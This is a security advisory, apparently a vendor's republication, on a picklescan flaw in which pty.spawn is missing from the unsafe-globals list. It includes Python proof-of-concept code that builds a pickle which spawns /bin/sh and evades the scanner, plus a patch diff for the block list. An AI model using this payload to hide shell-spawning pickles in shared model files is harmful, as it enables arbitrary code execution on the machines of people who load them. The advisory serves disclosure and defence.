GHSA-hgrh-qx5j-jfwx is a high-severity (CVSS 8.8) CWE-693 vulnerability in picklescan. O3 Security confirms whether GHSA-hgrh-qx5j-jfwx is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Picklescan Bypasses Unsafe Globals Check using pty.spawn
Real-World Exposure
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Description
Summary
The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the pty library (more specifically, of the pty.spawn function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats.
Details
For 2025's HeroCTF, there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and Fickling to gain code execution. The challenge writeup, files and solve script have all been released.
The intended way was to use pty.spawn but some players found alternative solutions.
PoC
- Run the following Python code to generate the PoC pickle file.
import pickle
command = b"/bin/sh"
payload = b"".join(
[
pickle.PROTO + pickle.pack("B", 4),
pickle.MARK,
pickle.GLOBAL + b"pty\n" + b"spawn\n",
pickle.EMPTY_LIST,
pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command,
pickle.APPEND,
# Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes
pickle.OBJ,
pickle.STOP,
]
)
with open("dump.pkl", "wb") as f:
f.write(payload)
- Run PickleScan on the generated pickle file. <img width="936" height="311" alt="picklescan_bypass_pty_spawn" src="https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f" />
PickleScan detects the pty.spawn global as "suspicious" but not "dangerous", allowing it to be loaded.
Impact
Severity: High
Affected Users: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content.
Impact Details: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the pty.spawn function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded.
Suggested Patch
diff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py
index 34a5715..b434069 100644
--- a/src/picklescan/scanner.py
+++ b/src/picklescan/scanner.py
@@ -150,6 +150,7 @@ _unsafe_globals = {
"_pickle": "*",
"pip": "*",
"profile": {"Profile.run", "Profile.runctx"},
+ "pty": "spawn",
"pydoc": "pipepager", # pydoc.pipepager('help','echo pwned')
"timeit": "*",
"torch._dynamo.guards": {"GuardBuilder.get"},
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.33 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update picklescan to 0.0.33 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hgrh-qx5j-jfwx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hgrh-qx5j-jfwx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hgrh-qx5j-jfwx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hgrh-qx5j-jfwx in your dependencies?
O3 detects GHSA-hgrh-qx5j-jfwx across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.